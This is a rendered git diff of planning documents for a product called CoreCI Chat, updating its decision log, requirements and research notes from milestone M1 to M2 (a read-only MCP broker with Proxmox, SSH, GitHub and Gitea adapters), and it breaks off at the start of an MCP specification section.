| pgvector for v1.1 RAG | Co-located with primary DB (not v0.1) | spec §7 Q8 |
|
||||
| OpenAI-compatible BYOM contract for M1 | Most customer endpoints speak it; pluggable provider iface for Anthropic-native in M3 | CLARIFY (PO-approved default) |
|
||||
| Relay Agent in Go | Single static binary, ideal for curl\|bash + systemd + zero-runtime on Ubuntu/Debian | CLARIFY (PO-approved default) |
|
||||
| AWS Secrets Manager (prod) + local-encrypted (dev) behind `SecretProvider` interface | Spec §5 default us-east-1; interface enables CI/local without AWS | CLARIFY (PO-approved default) |
|
||||
| Postgres append-only table + hash-chain + REVOKE UPDATE/DELETE for audit (M1); S3 Object Lock WORM in M3 | Append-only from day one; cheap refactor to WORM later | CLARIFY (PO-approved default) |
|
||||
| Next.js (App Router) + TypeScript single SPA | Dashboard in M1, chat UI in M3, same app | CLARIFY (PO-approved default) |
|
||||
| Spec v1.1 locked, 44 REQs | Sarah Chen (PO) locked 2026-08-24 | M1 spec §8 |
|
||||
| M2 = REQ-015..027 (13 REQs) | M2 spec §2.3 | M2 spec §2.3 |
|
||||
| MCP spec version `2025-06-18` | Latest stable with complete published documentation | M2 spec §7 Q1 |
|
||||
| In-process custom MCP transport for TS adapters | MCP `2025-06-18` allows custom transports; subprocess spawning unnecessary for same-process TS modules | M2 spec §7 Q1, D-007 |
|
||||
| SSH adapter MCP layer in-process, downstream WebSocket to M1 Relay | M1 Relay Agent architecture inherited; MCP `tools/call` JSON-RPC sits between broker and TS SSH module | M2 spec §7 Q1, D-007 |
|
||||
| 9-tool closed starter set across 4 adapters | Conservative MVP scope; additions require spec amendment (v1.2+) | M2 spec §7 Q2 |
|
||||
| SSH 6-command whitelist subset (broker + Relay defense-in-depth) | Conservative subset of M1's whitelist; broker validates before dispatch, Relay `CheckCommand` validates at execution | M2 spec §7 Q3 |
|
||||
| In-memory token-bucket rate limiting | M2 single-instance; Redis migration path for M3 | M2 spec §7 Q4 |
|
||||
| GitHub fine-grained PAT: `metadata:read` + `actions:read` minimum (no `contents:read`) | M2 GitHub tools don't read repo contents; D-006 deviation | M2 spec §7 Q5, D-006 |
|
||||
| Gitea version-aware scope validation | ≥1.22 fine-grained `read:repository`; <1.22 any token with broker-side write blocklist | M2 spec §7 Q6 |
|
||||
| Per-call SSE streams with ULID correlation IDs | Simpler correlation, easier rate limiting; session-based considered for M3 | M2 spec §7 Q7 |
|
||||
| `packages/llm-mock` as devDependency with import guard | Clean separation; CI-only; build-time guard prevents prod leak | M2 spec §7 Q8 |
|
||||
| M2→M3 contract freeze at M2 acceptance gate | 5-endpoint REST+SSE contract frozen; M3 treats as stable API | M2 spec §7 Q9, §9 |
|
||||
| Trigger.dev durable runtime | Best TS DX, long-running workflows, MVP cost | M1 spec §7 Q1 |
|
||||
| WorkOS IdP | Enterprise SAML/SSO/SCIM at mid-market price | M1 spec §7 Q2 |
|
||||
| Vanta GRC | AWS-native ecosystem, M3 instrumentation | M1 spec §7 Q3 |
|
||||
| Install script primary, apt fallback | Fastest to ship, flexible | M1 spec §7 Q4 |
|
||||
| Fixed SSH whitelist, no customer extension in v0.1 | Security; signed-config extension in v1.1 | M1 spec §7 Q5 |
|
||||
| PVEAuditor built-in role for Proxmox | Simpler setup, well-understood | M1 spec §7 Q6 |
|
||||
| Gitea via SaaS-to-API exposure | Customer opens firewall; Relay-Agent variant deferred | M1 spec §7 Q7 |
|
||||
| pgvector for v1.1 RAG | Co-located with primary DB (not v0.1) | M1 spec §7 Q8 |
|
||||
| OpenAI-compatible BYOM contract for M1 | Most customer endpoints speak it; pluggable provider iface for Anthropic-native in M3 | M1 CLARIFY D-001 |
|
||||
| Relay Agent in Go | Single static binary, ideal for curl\|bash + systemd + zero-runtime on Ubuntu/Debian | M1 CLARIFY D-002 |
|
||||
| AWS Secrets Manager (prod) + local-encrypted (dev) behind `SecretProvider` interface | Spec §5 default us-east-1; interface enables CI/local without AWS | M1 CLARIFY D-003 |
|
||||
| Postgres append-only table + hash-chain + REVOKE UPDATE/DELETE for audit (M1); S3 Object Lock WORM in M3 | Append-only from day one; cheap refactor to WORM later | M1 CLARIFY D-004 |
|
||||
| Next.js (App Router) + TypeScript single SPA | Dashboard in M1, chat UI in M3, same app | M1 CLARIFY D-005 |
|
||||
+63
-57
@@ -1,69 +1,75 @@
|
||||
# Requirements
|
||||
|
||||
Source: CoreCI Chat v0.1 Engineering Specification v1.1 (`.ciagent/steer-v0.1-spec.md`), Sarah Chen (PO), locked 2026-08-24.
|
||||
Milestone type: **Feature** (at least one `feat:` phase). Tags run on the v0.0.x patch line (no prior minor exists; phase 0 seeds `v0.0.1`).
|
||||
Source: CoreCI Chat v0.1 M2 Engineering Specification v1.0 (`.ciagent/steer-m2-spec.md`), Sarah Chen (PO), locked 2026-08-25. All 9 open questions resolved. D-006 (GitHub scopes) and D-007 (MCP transport) recorded as deviations.
|
||||
Milestone type: **Feature** (new MCP adapters are `feat:` phases). Tags run on the v0.1.x patch line (M1's previous minor): phase 0 seeds `v0.1.0`.
|
||||
|
||||
## M1 Requirements (this milestone — REQ-001..014, 038, 039, 040)
|
||||
Predecessor M1 (COMPLETE): REQ-001..014, 038, 039, 040 (17 REQs, all PASS, shipped v0.0.1..v0.0.7).
|
||||
|
||||
All acceptance criteria verbatim from spec §4. Every REQ maps to Journey J1 and/or J2 (spec §3.2) and to at least one failure/edge path (spec §3.3).
|
||||
## M2 Requirements (this milestone — REQ-015..027, 13 REQs)
|
||||
|
||||
### Identity & Access
|
||||
All acceptance criteria verbatim from M2 spec §4. Every REQ inherits M1 invariants: INV-1 (auth gateway ordering), INV-2 (`withTenant` + RLS), INV-3 (SecretProvider only), INV-4 (audit completeness), INV-7 (read-only). The broker is the load-bearing safety boundary for INV-7.
|
||||
|
||||
- [x] **REQ-001** (J2, High) Establish SSO session via identity provider — **Given** an unauthenticated user navigates to CoreCI Chat, **when** they complete SSO flow via the configured IdP, **then** a session is established and they are redirected to the dashboard. _(Edge 10: SSO provider down → error w/ retry, tenant creation blocked)_
|
||||
- [x] **REQ-002** (J2, High) Provision tenant on first signup — **Given** a user completes signup for the first time, **when** tenant creation runs, **then** a new tenant is created, the user is assigned Admin role, and the admin dashboard loads.
|
||||
- [x] **REQ-003** (J2, High) Invite users to tenant via email — **Given** an Admin submits an invitation, **when** the system processes the invite, **then** an email is sent to the invitee containing a single-use acceptance link. _(Edge 15: bounce → admin notified, invite invalidated)_
|
||||
- [x] **REQ-004** (J2, High) Apply RBAC role to user — **Given** an Admin assigns a role (Admin/Operator/Viewer), **when** the assignment is saved, **then** the user's role is updated and enforced on the next API call.
|
||||
- [x] **REQ-005** (J1, J2, High) Enforce RBAC at API gateway — **Given** a user with role X calls endpoint Y, **when** the role check runs, **then** the request is allowed iff X has permission for Y. _(Critical-path pattern: set at API gateway from first endpoint, no auth-later stubs.)_
|
||||
### MCP Capability Broker Gateway
|
||||
|
||||
### BYOM (Bring Your Own Model)
|
||||
- [ ] **REQ-015** (J2, High) Define abstract MCP tool schema — **Given** the broker exposes the closed read-only tool set, **when** a tool is registered, **then** it has `name`, `description`, `inputSchema` (JSON Schema) per MCP standard, the schema is in the broker's tool registry before any adapter invocation, any tool call with arguments not matching `inputSchema` returns HTTP 400 with a schema-validation error, **and** the tool registry is closed and enumerated with per-tenant policy able to disable individual tools but never add new ones. M2 starter set is locked at: `proxmox.list_vms` (inventory), `proxmox.get_vm_status` (live), `proxmox.get_node_metrics` (live), `ssh.run_whitelisted_command` (live), `github.list_repos` (inventory), `github.get_recent_ci_runs` (live), `github.get_workflow_run` (live), `gitea.list_repos` (inventory), `gitea.get_recent_ci_runs` (live).
|
||||
- [ ] **REQ-016** (J1, J2, High) Route abstract MCP calls to tenant-specific adapter — **Given** an MCP tool call request with a tenant-scoped adapter binding `(tenant_id, adapter_type, target_id)`, **when** the broker receives the call, **then** the call is routed to the adapter resolved by that tuple, the response is returned as an SSE stream, and routing errors return HTTP 404 with a structured error.
|
||||
- [ ] **REQ-017** (J2, High) Stream tool execution output to chat UI via SSE — **Given** the broker invokes an adapter capability, **when** the adapter returns partial or complete output, **then** the broker emits an SSE stream on `GET /api/mcp/stream/:correlationId` with `Content-Type: text/event-stream` and each event has `id`, `event`, `data` fields per the SSE specification; the stream terminates with a terminal event (`done` or `error`) on completion or error. Per-call lifecycle: one stream per capability invocation; correlation ID = ULID minted at `POST /api/mcp/invoke`. Client disconnect (Edge 8) cancels in-flight adapter call; no audit event for client-side cancellation.
|
||||
- [ ] **REQ-018** (Edge 1, Edge 7, High) Enforce read-only at MCP gateway proxy layer — **Given** a write-capable method per the adapter's known write surface (Proxmox: POST/PUT/DELETE; SSH: non-whitelist commands; GitHub: scopes outside `metadata:read`+`actions:read`; Gitea: POST/PUT/DELETE/PATCH on all endpoints), **when** the request reaches the broker, **then** the broker rejects with HTTP 403, appends `adapter.write_rejected` audit event, and never invokes the adapter; verified by a test per adapter at the M2 gate. The broker is the load-bearing safety boundary (INV-7 enforcement at the gateway, not at the adapter).
|
||||
- [ ] **REQ-019** (Edge 5, High) Apply token-bucket rate limit per user and per tenant — **Given** a user has exceeded 60 req/min OR a tenant has exceeded 300 req/min, **when** any subsequent capability invocation is attempted, **then** the broker returns HTTP 429 with `Retry-After` header and no adapter call is made; rate limit state is process-local in M2 (in-memory token-bucket, capacity = rate, refill 1/sec user / 5/sec tenant).
|
||||
|
||||
- [x] **REQ-006** (J2, High) Configure BYOM endpoint (URL + API key) — **Given** an Admin submits endpoint URL and API key, **when** the form is saved, **then** the API key is stored in the secret manager and the URL is validated.
|
||||
- [x] **REQ-007** (J2, High) Validate BYOM endpoint connectivity on save — **Given** an Admin submits a BYOM endpoint, **when** validation runs, **then** a test inference call is sent and the result is displayed as success or failure with error details. _(Edge 11: test fails → save blocked, errors surfaced)_
|
||||
- [x] **REQ-008** (J1, J2, High) Route all LLM inference to configured BYOM endpoint — **Given** a user submits a prompt, **when** orchestration runs, **then** 100% of LLM inference calls are sent to the configured BYOM endpoint (verified via outbound traffic log).
|
||||
- [x] **REQ-009** (J1, J2, High) Reject LLM request when BYOM is unconfigured or unreachable — **Given** no BYOM endpoint is configured or it is unreachable, **when** an Operator submits a prompt, **then** the request is rejected with a clear actionable error and no inference is attempted. _(Edge 1: unreachable mid-workflow → actionable error, halt.)_
|
||||
### Adapters — Day 1 Integrations
|
||||
|
||||
### Relay Agent
|
||||
- [ ] **REQ-020** (J1, J2, High) Implement read-only Proxmox MCP adapter — **Given** a Proxmox adapter is configured with a `PVEAuditor`-scoped API token, **when** an MCP tool call routes to it, **then** the adapter calls only Proxmox GET endpoints (e.g., `/api2/json/nodes`, `/api2/json/qemu`, `/api2/json/nodes/{node}/qemu/{vmid}/status/current`) and never mutates state; supported capabilities include `proxmox.list_vms` (inventory), `proxmox.get_vm_status`, `proxmox.get_node_metrics`.
|
||||
- [ ] **REQ-021** (J1, J2, High) Implement read-only SSH/Linux Server MCP adapter — **Given** an SSH adapter is configured via M1 Relay Agent (REQ-026), **when** an MCP tool call routes to it, **then** the adapter invokes only commands from the fixed whitelist subset (`uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>`, `systemctl list-units --type=service`) via the M1 Relay whitelist hook; the broker validates `command` against this subset BEFORE dispatch to the Relay Agent (defense-in-depth layer 1); the Relay Agent `CheckCommand` is the second enforcement layer (layer 2); non-whitelist commands return HTTP 403 (REQ-026).
|
||||
- [ ] **REQ-022** (J1, J2, High) Implement read-only GitHub MCP adapter — **Given** a GitHub adapter is configured with a fine-grained PAT (`metadata:read` + `actions:read` minimum per D-006), **when** an MCP tool call routes to it, **then** the adapter calls only GitHub REST GET endpoints and rejects any token lacking required scopes; supported capabilities include `github.list_repos` (inventory), `github.get_recent_ci_runs`, `github.get_workflow_run`.
|
||||
- [ ] **REQ-023** (J1, J2, High) Implement read-only Gitea MCP adapter — **Given** a Gitea adapter is configured with a read-only token, **when** an MCP tool call routes to it, **then** the adapter calls only Gitea REST GET endpoints and rejects any token lacking required read scopes; version-aware validation: Gitea ≥1.22 requires `read:repository` scope; Gitea <1.22 accepts any token with broker-side write-method blocklist (POST/PUT/DELETE/PATCH) as security backstop; supported capabilities mirror the GitHub adapter (`gitea.list_repos`, `gitea.get_recent_ci_runs`).
|
||||
- [ ] **REQ-024** (Edge 3, High) Scope MCP queries to explicitly selected target in multi-target tenants — **Given** a tenant has multiple adapters of the same type configured (e.g., 2 Proxmox hosts), **when** a capability invocation is received without an explicit `target_id` for that adapter type, **then** the broker returns HTTP 400 "target required" with a list of available targets; the UI surfaces a target picker.
|
||||
|
||||
- [x] **REQ-0- [ ] **REQ-010**** (J2, High) Distribute Relay Agent as systemd service via install script — **Given** a Platform Lead runs the install script on a supported host (Ubuntu 24.04 LTS or Debian 12+), **when** execution completes, **then** a systemd service is installed, started, and configured for auto-start on boot; install aborts with clear error on unsupported OS. _(Edge 16: unsupported OS → clean abort, list supported versions. Critical-path: modular install — separate functions detect-OS/install-binary/write-systemd-unit/register-target.)_
|
||||
- [x] **REQ-0- [ ] **REQ-011**** (J2, High) Establish outbound WebSocket from Relay Agent to SaaS — **Given** the Relay Agent systemd service is running with valid tenant credentials, **when** the service starts, **then** it establishes an outbound WebSocket to CoreCI Chat SaaS within 60 seconds.
|
||||
- [x] **REQ-0- [ ] **REQ-012**** (J2, High) Register Relay Agent with tenant + target metadata — **Given** a Relay Agent connects, **when** registration completes, **then** tenant ID, target ID, hostname, OS name and version, IP address, and agent version are recorded. _(Edge 12: registration fails → error + troubleshooting link, dashboard red.)_
|
||||
- [x] **REQ-0- [ ] **REQ-013**** (J2, High) Maintain heartbeat and auto-reconnect on WebSocket drop — **Given** the WebSocket drops, **when** 30 seconds elapse without reconnect, **then** the Relay Agent initiates reconnection with exponential backoff (max 5 attempts before alerting); systemd auto-restarts on hard failure. _(Edge 4: drops mid-investigation → auto-reconnect, resume from durable state.)_
|
||||
- [x] **REQ-0- [ ] **REQ-014**** (J2, Med) Surface Relay Agent health and logs in admin dashboard — **Given** a Relay Agent is registered, **when** an Admin views the dashboard, **then** health status (green/yellow/red), target hostname, and the last 100 log lines are visible.
|
||||
### Adapter Authentication
|
||||
|
||||
### Security & Compliance (M1)
|
||||
- [ ] **REQ-025** (J1, High) Authenticate to Proxmox via scoped API token + PVEAuditor — **Given** a Proxmox adapter config submission, **when** the token is submitted, **then** the broker verifies the token's role on the target is `PVEAuditor` before persisting; tokens without `PVEAuditor` return HTTP 422 with role-violation error and no config is persisted; the token is stored via `SecretProvider.set` (INV-3).
|
||||
- [ ] **REQ-026** (J1, Edge 7, High) Authenticate to Linux servers via SSH key + whitelist execution — **Given** an SSH adapter config submission, **when** the Relay registration token is stored via `SecretProvider.set` (INV-3), **then** all subsequent SSH commands are validated against the fixed whitelist subset at two layers: (1) broker validates `command` before dispatch, (2) M1 Relay Agent `CheckCommand` validates at execution; non-whitelisted commands return HTTP 403 with a structured error and `adapter.write_rejected` audit event is appended.
|
||||
- [ ] **REQ-027** (J1, High) Authenticate to GitHub and Gitea via scoped API tokens — **Given** a GitHub or Gitea adapter config submission, **when** the token is submitted, **then** the broker validates token scopes before persisting (GitHub: fine-grained PAT with `metadata:read` + `actions:read` minimum per D-006; Gitea ≥1.22: `read:repository` minimum; Gitea <1.22: any token accepted with broker-side write-method blocklist as security backstop); insufficient scopes return HTTP 422 with scope-violation error and no config is persisted; the token is stored via `SecretProvider.set` (INV-3).
|
||||
|
||||
- [x] **REQ-038** (J1, J2, High) Log every prompt, tool call, SSH command, and response to immutable audit store — **Given** any of these events occur, **when** the audit log write runs, **then** the entry is written to a write-once store with tenant ID, user ID, target ID (for SSH), timestamp, and correlation ID; write failures halt the operation. _(Edge 7: write fails → halt + alert, no silent drops. Critical-path: append-only from day one; hash-chain pattern propagates to M2/M3.)_
|
||||
- [x] **REQ-039** (J1, J2, High) Implement Row-Level Security on all tenant-scoped data — **Given** any database query is executed, **when** the query runs, **then** RLS policies enforce tenant scoping and cross-tenant queries return empty results. _(Critical-path: zero leakage verified by pen test.)_
|
||||
- [x] **REQ-040** (J2, High) Store tenant credentials in centralized secret manager — **Given** any tenant credential (BYOM API key, Proxmox token, SSH key, Git token) is stored, **when** stored, **then** it resides in the centralized secret manager and never in plaintext in application logs or DB rows. _(Critical-path: every credential via secret manager from the first secret. No env vars, no config files, no DB columns. Ever.)_
|
||||
## M1 Requirements (predecessor — COMPLETE, for non-regression reference)
|
||||
|
||||
## Deferred to M2 (REQ-015 → REQ-027 — MCP Layer & Day 1 Adapters)
|
||||
|
||||
Listed for traceability; NOT in M1 scope. M2 acceptance gate: all four Day 1 integrations respond to a test call, multi-target scoping functional, read-only enforcement verified at both gateway and Relay Agent layers (including SSH whitelist). See spec §2.3.
|
||||
|
||||
REQ-015 (abstract MCP tool schema), REQ-016 (route to adapter), REQ-017 (SSE stream), REQ-018 (read-only at gateway), REQ-019 (rate limit), REQ-020 (Proxmox adapter), REQ-021 (SSH/Linux adapter), REQ-022 (GitHub adapter), REQ-023 (Gitea adapter), REQ-024 (multi-target scope), REQ-025 (Proxmox auth PVEAuditor), REQ-026 (SSH key + whitelist enforcement at Relay Agent — **whitelist file format + enforcement hook ship in M1, adapter plugs in M2**), REQ-027 (Git scoped tokens).
|
||||
All 17 M1 REQs (001-014, 038, 039, 040) are COMPLETE and must remain passing through M2. See M1 REQUIREMENTS.md history (git log) for the verbatim acceptance criteria. M2 adds no breaking changes to M1 systems except additive (new tables, new audit event types).
|
||||
|
||||
## Deferred to M3 (REQ-028 → REQ-037, REQ-041 → REQ-044 — Chat, Orchestration, Hardening)
|
||||
|
||||
Listed for traceability; NOT in M1 scope. M3 acceptance gate: Operator asks a diagnostic question, sees streamed tool execution, receives a cited evidence-backed answer within 5 min p95; async workflows persist/rejoin; usage metered; SOC 2 controls instrumented; all v0.1 release gates pass.
|
||||
Listed for traceability; NOT in M2 scope. M3 acceptance gate: Operator can ask a natural-language diagnostic question, see streamed tool execution, and receive a cited, evidence-backed answer within 5 min p95. Async workflows persist and rejoin correctly. Usage is metered. SOC 2 controls are instrumented. All v0.1 release gates pass.
|
||||
|
||||
REQ-028 (chat UI), REQ-029 (NL input), REQ-030 (streaming response + citations), REQ-031 (tool traces), REQ-032 (conversation history), REQ-033 (reason about tools), REQ-034 (multi-step workflows), REQ-035 (≤20 step limit), REQ-036 (durable execution), REQ-037 (rejoin workflow), REQ-041 (SOC2 posture page), REQ-042 (Vanta instrumentation), REQ-043 (usage metering), REQ-044 (usage dashboard).
|
||||
|
||||
## Out of Scope (v0.1 — do not build)
|
||||
**M2→M3 contract freeze (M2 spec §9):** M2's gateway (5 endpoints: `GET /api/mcp/tools`, `POST /api/mcp/invoke`, `GET /api/mcp/stream/:correlationId`, `POST /api/mcp/adapter`, `PATCH/DELETE /api/mcp/adapter/:id`) is a stable contract from M2's acceptance gate onward. M3 treats these as a stable API. M3 token-streaming SSE endpoint (for LLM output tokens) is a separate design — not in M2 scope, but documented as the M3 chat orchestration requirement.
|
||||
|
||||
## Out of Scope (M2 — do not build)
|
||||
|
||||
| Feature | Reason |
|
||||
|---------|--------|
|
||||
| Write actions (apply/delete/scale/restart/VM start-stop) | v1.1 (spec §2.2) |
|
||||
| Hosted LLM inference | Never — BYOM permanent (spec §2.2) |
|
||||
| Kubernetes / ArgoCD / Helm | Not planned (spec §2.2) |
|
||||
| Slack / Teams / Discord / CLI / mobile chat surfaces | v1.1+ / not planned (spec §2.2) |
|
||||
| Approval-gated remediation, Senior Approver persona | v1.1 (spec §2.2) |
|
||||
| RAG over historical incidents | v1.1 (spec §2.2) |
|
||||
| SOC 2 Type 1 final certification | Audit-in-progress posture only (spec §2.2) |
|
||||
| Custom RBAC roles beyond Admin/Operator/Viewer | v1.2+ (spec §2.2) |
|
||||
| BYOK / customer-managed encryption keys | v1.2+ (spec §2.2) |
|
||||
| Multi-region deployment | Single region MVP (spec §5) |
|
||||
| Windows server management | Not planned v1.x (spec §2.2) |
|
||||
| Fine-tuning, custom model deployments | Not planned (spec §2.2) |
|
||||
| LLM chat UI / orchestration | M3 (M2 spec §2.2) |
|
||||
| Trigger.dev task execution | M3 (M2 spec §2.2) |
|
||||
| Any write capability | INV-7 hard; broker rejects 100% of write attempts (M2 spec §2.2) |
|
||||
| S3 Object Lock WORM audit | M3 per D-004 (M2 spec §2.2) |
|
||||
| Vanta evidence collection | M3 (M2 spec §2.2) |
|
||||
| New Postgres tables for MCP caching | Q4 decision: in-memory only (M2 spec §2.2) |
|
||||
| 5+ Day-1 adapters | Only Proxmox, SSH, GitHub, Gitea (M2 spec §2.2) |
|
||||
| Persistence of MCP results beyond audit events | No snapshot/time-series tables (M2 spec §2.2) |
|
||||
| Cross-tenant adapter sharing | Adapters are per-tenant (M2 spec §2.2) |
|
||||
| Custom MCP server authoring tools for customers | v1.2+ (M2 spec §2.2) |
|
||||
| Custom capability tool set per tenant | Fixed tool registry; per-tenant policy may disable but not add (M2 spec §2.2) |
|
||||
| Write actions (apply/delete/scale/restart/VM start-stop) | v1.1 (M1 spec §2.2) |
|
||||
| Hosted LLM inference | Never — BYOM permanent (M1 spec §2.2) |
|
||||
| Kubernetes / ArgoCD / Helm | Not planned (M1 spec §2.2) |
|
||||
| Slack / Teams / Discord / CLI / mobile chat surfaces | v1.1+ / not planned (M1 spec §2.2) |
|
||||
| Approval-gated remediation, Senior Approver persona | v1.1 (M1 spec §2.2) |
|
||||
| RAG over historical incidents | v1.1 (M1 spec §2.2) |
|
||||
| SOC 2 Type 1 final certification | Audit-in-progress posture only (M1 spec §2.2) |
|
||||
| Custom RBAC roles beyond Admin/Operator/Viewer | v1.2+ (M1 spec §2.2) |
|
||||
| BYOK / customer-managed encryption keys | v1.2+ (M1 spec §2.2) |
|
||||
| Multi-region deployment | Single region MVP (M1 spec §5) |
|
||||
| Windows server management | Not planned v1.x (M1 spec §2.2) |
|
||||
| Fine-tuning, custom model deployments | Not planned (M1 spec §2.2) |
|
||||
| Anything not in the spec | Flag as spec-time scope question; never silently add |
|
||||
|
||||
## Traceability
|
||||
@@ -84,19 +90,19 @@ REQ-028 (chat UI), REQ-029 (NL input), REQ-030 (streaming response + citations),
|
||||
| REQ-012 | M1 | Wave D | complete |
|
||||
| REQ-013 | M1 | Wave D | complete |
|
||||
| REQ-014 | M1 | Wave E | complete |
|
||||
| REQ-015 | M2 | — | deferred |
|
||||
| REQ-016 | M2 | — | deferred |
|
||||
| REQ-017 | M2 | — | deferred |
|
||||
| REQ-018 | M2 | — | deferred |
|
||||
| REQ-019 | M2 | — | deferred |
|
||||
| REQ-020 | M2 | — | deferred |
|
||||
| REQ-021 | M2 | — | deferred (whitelist hook ships M1 Wave D) |
|
||||
| REQ-022 | M2 | — | deferred |
|
||||
| REQ-023 | M2 | — | deferred |
|
||||
| REQ-024 | M2 | — | deferred |
|
||||
| REQ-025 | M2 | — | deferred |
|
||||
| REQ-026 | M2 | — | deferred (whitelist format + hook ships M1 Wave D) |
|
||||
| REQ-027 | M2 | — | deferred |
|
||||
| REQ-015 | M2 | — | active (this run) |
|
||||
| REQ-016 | M2 | — | active (this run) |
|
||||
| REQ-017 | M2 | — | active (this run) |
|
||||
| REQ-018 | M2 | — | active (this run) |
|
||||
| REQ-019 | M2 | — | active (this run) |
|
||||
| REQ-020 | M2 | — | active (this run) |
|
||||
| REQ-021 | M2 | — | active (this run) |
|
||||
| REQ-022 | M2 | — | active (this run) |
|
||||
| REQ-023 | M2 | — | active (this run) |
|
||||
| REQ-024 | M2 | — | active (this run) |
|
||||
| REQ-025 | M2 | — | active (this run) |
|
||||
| REQ-026 | M2 | — | active (this run) |
|
||||
| REQ-027 | M2 | — | active (this run) |
|
||||
| REQ-028 | M3 | — | deferred |
|
||||
| REQ-029 | M3 | — | deferred |
|
||||
| REQ-030 | M3 | — | deferred |
|
||||
|
||||
+696
-78
@@ -1,104 +1,722 @@
|
||||
# Research Findings (Phase 0)
|
||||
# Research Findings (M2 — MCP Layer & Day 1 Adapters)
|
||||
|
||||
Spec: CoreCI Chat v0.1 v1.1 (locked 2026-08-24). All architectural decisions locked in CLARIFY.md. This document records implementation patterns, pitfalls, and references for each M1 technology choice so the EXECUTE waves have a grounded baseline. Research is scoped to M1 (REQ-001..014, 038, 039, 040); M2/M3 technologies are noted where they touch M1 foundations.
|
||||
**Spec:** CoreCI Chat v0.1 M2 Engineering Specification v1.0 (`.ciagent/steer-m2-spec.md`, locked 2026-08-25, Sarah Chen). All 9 open questions resolved; D-001..D-005 carried from M1; D-006 (GitHub fine-grained PAT scopes) and D-007 (MCP transport architecture) recorded in `.ciagent/CLARIFY.md`.
|
||||
**Date:** 2026-08-25
|
||||
**Scope:** M2 (REQ-015..027, 13 REQs). MCP capability broker gateway + 4 Day-1 adapters (Proxmox, SSH/Linux via Relay Agent, GitHub, Gitea) + SSE streaming + token-bucket rate limiting + LLM smoke + Postgres 16 CI/RLS verification.
|
||||
**M1 predecessor:** M1 research is preserved in git history (commit prior to M2 overwrite). M1 patterns referenced here are grounded in the actual M1 source (`apps/relay-agent`, `apps/control-plane`, `packages/{db,auth,byom,secrets,config,runtime}`).
|
||||
|
||||
This document records implementation patterns, pitfalls, and references for each M2 research area so the EXECUTE waves (F..J) have a grounded baseline. Research is scoped to M2; M3 concerns are noted only where they touch M2 boundaries.
|
||||
|
||||
---
|
||||
|
||||
## R-001 — Trigger.dev bootstrap & durable execution pattern
|
||||
## R-001 — MCP `2025-06-18` conformance verification (LOWEST CONFIDENCE — most critical)
|
||||
|
||||
**Scope:** M1 Wave A bootstraps the runtime; M3 adds chat orchestration tasks. M1 must not couple to Trigger.dev in a way that forces an M3 rewrite.
|
||||
**Scope:** The broker implements MCP spec version `2025-06-18`. This is the lowest-confidence area (spec §6 gate item 15: "conformance verification artifact — verify before locking"). Verified against modelcontextprotocol.io.
|
||||
|
||||
**Findings:**
|
||||
- Trigger.dev v3 runs tasks as idempotent functions decorated with `task()`; long-running workflows use `runTask()` checkpoints. The runtime connects to a Trigger.dev server (cloud or self-hosted) via `TRIGGER_API_KEY` + `TRIGGER_API_URL`.
|
||||
- Bootstrap pattern: a single `packages/runtime` (or inside `apps/control-plane/lib/runtime`) that initializes the Trigger.dev client at process start and exports a `registerTask` helper. M1 wires the client + a no-op health task; M3 registers the chat orchestration task.
|
||||
- **Pitfall:** Trigger.dev cloud requires outbound HTTPS to `https://api.trigger.dev`. Since the control plane is the only thing that talks to Trigger.dev (not the Relay Agent, not the browser), this is fine for the SaaS deployment. Document the firewall egress.
|
||||
- **Pitfall:** `TRIGGER_API_KEY` is infra-level config — goes through `packages/config` env loading, NOT through `packages/secrets`. It is not a tenant secret.
|
||||
- **M1 decision:** Bootstrap the client + a `runtimeHealthCheck` task that runs every 5 min and appends an audit entry. Proves the runtime works end-to-end without coupling to chat logic.
|
||||
- **Reference:** Trigger.dev v3 docs — `trigger.dev/docs`.
|
||||
### Findings
|
||||
|
||||
## R-002 — WorkOS SSO + RBAC role mapping + SCIM
|
||||
**1. Tool type schema (per `2025-06-18`):** A tool definition includes:
|
||||
- `name` (required, string) — unique identifier
|
||||
- `title` (optional, string) — **NEW in 2025-06-18** — human-readable display name (not present in older spec drafts). The broker SHOULD populate `title` for the Test-Call UI but it is not required for conformance.
|
||||
- `description` (optional, string) — human-readable description
|
||||
- `inputSchema` (required, JSON Schema) — defines expected parameters. MUST be a JSON Schema object.
|
||||
- `outputSchema` (optional, JSON Schema) — defines expected output structure. **NEW in 2025-06-18.** If provided, the server MUST return structured results conforming to it, and clients SHOULD validate.
|
||||
- `annotations` (optional, object) — properties describing tool behavior. The spec warns clients MUST treat annotations as untrusted unless from trusted servers.
|
||||
|
||||
**Scope:** M1 Wave B (REQ-001..005). WorkOS is the only IdP in v0.1.
|
||||
For M2, the closed tool registry (REQ-015) needs `name`, `description`, `inputSchema` (JSON Schema) — these are the load-bearing required fields. `title` and `outputSchema` are optional; M2 MAY use `outputSchema` for the 9 tools to give the Test-Call UI structured result typing, but it is not required for the gate. `annotations` can carry the inventory/live classification (M2 spec §5: "inventory capabilities (`list_*`) get 60s in-memory TTL cache; live capabilities do not") — but since annotations are advisory/untrusted, the broker must NOT rely on them for the cache decision; the broker's own registry metadata (`isInventory: boolean`) is the authority.
|
||||
|
||||
**Findings:**
|
||||
- WorkOS provides `authenticateWithCode()` (OAuth/OIDC code flow) and a hosted SSO portal. The control plane exchanges the auth code for a session, then resolves the user to a tenant.
|
||||
- User ↔ tenant mapping is owned by CoreCI Chat, not WorkOS. WorkOS gives us `userId`, `email`, `organizationId` (optional). We map `organizationId` → tenant at first signup (REQ-002): if no tenant exists for this org, create one and assign the user Admin.
|
||||
- RBAC roles (Admin/Operator/Viewer) are CoreCI Chat's, stored in `tenant_memberships.role`. WorkOS role/ group claims are advisory only — we do not trust them for authorization (REQ-005 enforces at our API gateway, not at the IdP).
|
||||
- Session: httpOnly cookie + a server-side session row carrying `tenantId` + `role`. The API gateway reads the cookie, loads the session, and runs RBAC.
|
||||
- SCIM (REQ-003 invitations): WorkOS exposes a SCIM endpoint and an invitation API. For M1, use the WorkOS `Invitation` resource (single-use acceptance link emailed via WorkOS) — simpler than building email ourselves. Edge 15 (bounce) handled by WorkOS webhook → we mark the invite invalid.
|
||||
- **Pitfall:** WorkOS SSO provider down (Edge 10) — surface a retry screen, block tenant creation. Do not fall back to local auth.
|
||||
- **Pitfall:** Multi-tenant users (same email in two orgs) — resolve the active tenant from the session, allow tenant switching via an explicit endpoint (out of M1 scope to build the switcher UI; the API supports it).
|
||||
- **Reference:** WorkOS Node SDK — `workos.com/docs`.
|
||||
**2. `tools/list` and `tools/call` JSON-RPC shapes (verified verbatim from spec):**
|
||||
|
||||
